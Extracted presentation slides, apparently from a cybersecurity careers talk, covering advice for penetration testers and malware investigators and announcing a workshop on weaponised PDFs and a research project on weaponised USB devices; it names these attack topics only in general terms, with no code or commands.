Keep up to date with vulnerabilities, proof of concepts and
exploits

Learn to programme in different languages (Script
languages, Python, C++ etc)

Set-up an isolated environment to learn and develop new
techniques
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Penetration testers

Attackers against people work more often than those
against the network layer.

People do not follow best practise and keep everything
patched and up to date

People are naive and make mistakes makes social
engineering a successful attack vector
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Investigators

Finding where malware is and how it works, identifies how
attackers got into the network

It identifies what they did once they in
If indicates what damage was done

It is part of GDPR that breaches are investigated so good
job prospects
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And finally

e Putting together a workshop on the generation of and
reverse engineering of weaponised PDFs in January.

— Provisionally scheduled 19t Jan 2019
* This will be an all day event and will cover
— Creating examples of weaponised PDF

— Testing the weaponised PDF

— and examining real life weaponised PDF file.
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Next research project

 Weaponised USB

* Destroy or compromise a computer
using a USB device



